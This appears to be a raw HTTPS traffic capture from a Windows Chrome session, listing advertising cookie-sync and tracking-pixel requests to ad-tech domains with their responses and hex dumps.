2024-01-10 23:27:16 UTC	678	OUT	GET /oath/1/info2?sType=sync&_sdv&sExtCookieId=y-74rnzl5E2oNwzhZe6ductkiMFlajFMua0IQ-~A&sInitiator=external HTTP/1.1 Host: uipglob.semasio.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SEUNCY=2ECD9A48FE9664AD
2024-01-10 23:27:17 UTC	580	IN	HTTP/1.1 200 OK Content-Type: image/gif UIP-Response-Status: Ok Frontend-ID: 2 Set-Cookie: SEUNCY=2ECD9A48FE9664AD; Expires=Thu, 09 Jan 2025 23:27:16 GMT; Path=/; Domain=.semasio.net; SameSite=None; HttpOnly; Secure Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Sat, 01 Jan 2011 12:00:00 GMT P3P: policyref="http://uip.semasio.net/w3c/p3p.xml", CP="NOI PSAa PSDa OUR IND UNI CNT" Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Length: 42 Routing-Server-ID: -1 Access-Control-Allow-Origin: * Connection: close
2024-01-10 23:27:17 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.4	50034	40.76.134.238	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	832	OUT	GET /l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx%20AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&rnd=RND HTTP/1.1 Host: us01.z.antigena.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	176	IN	HTTP/1.1 403 Forbidden Server: Microsoft-Azure-Application-Gateway/v2 Date: Wed, 10 Jan 2024 23:27:17 GMT Content-Type: text/html Content-Length: 581 Connection: close
2024-01-10 23:27:17 UTC	581	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4d 69 63 72 6f 73 6f 66 74 2d 41 7a 75 72 65 2d 41 70 70 6c 69 63 61 74 69 6f 6e 2d 47 61 74 65 77 61 79 2f 76 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Microsoft-Azure-Application-Gateway/v2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.4	50040	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	875	OUT	GET /cksync.html?cs=8&vsid=3479308330180239000V10&type=rkt&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=968062845637553879 HTTP/1.1 Host: contextual.media.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1
2024-01-10 23:27:17 UTC	642	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 231 Content-Type: text/html;charset=UTF-8 Set-Cookie: data-rk=968062845637553879~~8;Expires=Wed, 08 Jan 2025 23:27:17 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:17 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:17 GMT Connection: close
2024-01-10 23:27:17 UTC	150	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 69 73 48 74 6d 6c 3d 31 22 29 20 21 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 22 74 79 70 65 22 3a 22 63 6b 73 79 6e 63 22 2c 22 6e 61 6d 65 22 3a 22 Data Ascii: <!DOCTYPE html><html><head><script>if (window.location.href.indexOf("isHtml=1") !== -1) { window.top.postMessage({"type":"cksync","name":"
2024-01-10 23:27:17 UTC	81	IN	Data Raw: 22 2c 22 6f 76 73 69 64 22 3a 22 22 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ","ovsid":""}, '*'); } </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.4	50036	54.197.142.67	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	1056	OUT	GET /sync/pubmatic/AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:17 UTC	778	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:17 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-01-10 23:27:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.4	50035	34.111.113.62	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	663	OUT	GET /idsync/ex/receive?partner_id=3371&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	1087	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:17 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1704929237034;Expires=Sun, 10 Mar 2024 23:27:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251;Expires=Sun, 10 Mar 2024 23:27:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://pixel.tapad.com/idsync/ex/receive/check?partner_id=3371&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.4	50031	3.225.218.10	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	1176	OUT	GET /ups/58292/sync?_origin=1&uid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&redir=true&gdpr=0&gdpr_consent= HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z"
2024-01-10 23:27:17 UTC	822	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:17 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18z8~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:17 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://image4.pubmatic.com/AdServer/SPug?partnerID=156078&xid=y-QoGBxapE2uVcxYncQGfqtzmJ2fkSj78-~A&gdpr=0 Age: 0 Connection: close Server: ATS/9.1.10.94 Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.4	50032	35.194.66.159	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	723	OUT	GET /pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	961	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 10 Jan 2024 23:27:17 GMT Content-Type: text/html Content-Length: 142 Connection: close Set-Cookie: suid=A342B32A0BAA4852AA53FE42CB7195F6; Path=/; domain=simpli.fi; Expires=Fri, 10-Jan-25 23:27:17 GMT; SameSite=none; Secure; Set-Cookie: suid_legacy=A342B32A0BAA4852AA53FE42CB7195F6; Path=/; domain=simpli.fi; Expires=Fri, 10-Jan-25 23:27:17 GMT; Secure; Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:A342B32A0BAA4852AA53FE42CB7195F6 Expires: Tue, 09 Jan 2024 23:27:17 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-01-10 23:27:17 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.4	50033	52.223.22.214	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	661	OUT	GET /xuid?mid=7976&xuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&dongle=u6nf&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	538	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:17 GMT Content-Length: 0 Connection: close Location: /xuid?ld=1&mid=7976&xuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&dongle=u6nf&gdpr=0&cmp_cs=&us_privacy= Cache-Control: no-cache, no-store, must-revalidate P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" Set-Cookie: tluid=3631141743957125218505; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Tue, 09 Apr 2024 23:27:17 GMT; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.4	50024	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	767	OUT	GET /uu/api/res/1.2/QKRnSYFFrkJivKfVckKVVQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/av/curveball/ads/pr/RESIZE_AND_CROP/1200x627/effb8e3da44bc6b557d36a7429190d20.jpeg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	1292	IN	HTTP/1.1 200 OK Content-Length: 35305 Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 237791665996249927436111567475869940743,479651796159299122488289403061957739757,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 237791665996249927436111567475869940743,479651796159299122488289403061957739757,ae7a14591aaf8d474cdb3f92111c923e Etag: "83aba72f07516cf57b2de4431258dd9b" Expiration: expiry-date="Wed, 03 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 04 Jan 2024 05:59:34 GMT Server: ATS Surrogate-Reporting: width=536,height=284,bytes=35305,owidth=1200,oheight=627,obytes=123865,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Thu, 04 Jan 2024 05:59:34 GMT X-Served-By: cache-lga21938-LGA X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1704347975.627692,VS0,VE30 Age: 581263 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:17 UTC	25	IN	Data Raw: 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: ATS-Carp-Promotion: 1
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 96 00 96 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c0 00 11 08 01 1c 02 18 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 05 06 03 04 07 02 01 00 08 ff c4 00 4a 10 00 02 01 03 02 04 03 05 05 06 05 02 04 05 03 05 01 02 03 00 04 11 05 21 06 12 31 41 13 51 61 07 22 32 71 81 14 23 91 a1 b1 15 42 Data Ascii: JFIFC%# , #&')*)-0-(0%()(C((((((((((((((((((((((((((((((((((((((((((((((((((("J!1AQa"2q#B
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 2f b7 2b 2a 9f e5 5a 8f b4 cb 59 75 2e 19 7b 6b 5b 03 1b 64 3a 81 d0 e0 e6 bf 3f 5d 24 b6 ee c9 3c 52 46 54 e0 87 52 08 ab 42 72 b6 db f6 6b 22 71 d7 a3 ee 48 e2 f1 0c 63 77 25 98 f9 9a a1 70 bc ee 31 52 3c 99 1e ef eb 5c a3 03 b9 db e7 4a 4f d9 32 c6 bf af df 5c e9 36 1a 6c d3 07 86 dc 73 0c 1c 9f 4c fa d2 f5 d3 4a c1 4f 89 c9 19 1b d5 bb b0 86 e9 82 ef 91 8f ad 35 f0 bf 00 ea da fe 9c f7 49 6e c2 c0 7b be 21 ea c7 d0 77 ae 88 e4 6d f2 93 12 4e f4 20 59 38 56 7b 64 e9 cd cc 4e 73 9a 7a b0 46 8a c5 16 4d 8e 33 41 b5 ce 1e 5e 0b e2 0b 71 a8 4a 92 33 27 31 48 f2 70 4f 4c d1 4d 0a 79 38 83 89 ad 34 98 08 89 26 6e 56 91 bb 00 09 20 7a ed 46 7d ff 00 6e ca 55 b2 ed 85 e5 c5 a5 c4 57 d6 73 b4 2f 19 2a 85 54 12 7b 13 bd 02 e2 8e 2a 92 f6 46 89 21 fb c4 f7 4c f2 Data Ascii: /+ZYu.{k[d:?]$<RFTRBrk"qHcw%p1R<\JO2\6lsLJO5In{!wmN Y8V{dNszFM3A^qJ3'1HpOLMy84&nV zF}nUWs/T{*F!L
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 6e 06 4f 24 8d 23 b3 33 16 39 24 93 dc f7 35 3e 96 9e 3e a3 0c 6c 76 76 0b bf 61 de aa b7 ba 02 0e bd e8 ef 09 e9 e9 73 75 25 c4 e3 30 c2 31 8c 12 09 fa 56 25 2a 4d 94 84 5b 92 46 c7 a1 df e9 96 11 a4 66 fa dc 63 18 1c d5 a1 69 17 56 d7 31 c5 35 b4 8a e0 ed b1 cd 67 5c 19 ad 69 0e bf 65 b9 d3 2e 65 84 6d cf 1d 9b 3a 8f cb 34 db c3 96 70 0e 26 92 d6 c3 dd b4 92 3f 11 54 6d ca 71 9c 57 1d 1e 8d ea 87 7b 6d 53 4e 86 33 1c b7 b6 c2 5e 9c 86 40 0e 7e 54 a9 ed 1e 38 e1 b2 b3 d7 6d 82 f8 f6 72 03 ce 3f 79 0e c5 4f a5 2c ea 5a ce 8d a5 eb f3 fe d6 b5 8d 4f 88 57 de 8b 9c 9c 1d ce 30 69 9f 58 3a 5e bb c1 5a b3 e8 32 23 21 b6 62 63 40 40 0c 06 41 2a 7e 13 b5 52 32 25 38 92 5b 4a 26 b3 82 54 60 ca e8 18 11 dc 1a 96 d4 bf db 6d f9 1f 90 f3 ee 7d 29 6f 80 2e 0d c7 07 Data Ascii: nO$#39$5>>lvvasu%01V%M[FfciV15g\ie.em:4p&?TmqW{mSN3^@~T8mr?yO,ZOW0iX:^Z2#!bc@@A~R2%8[J&T`m})o.
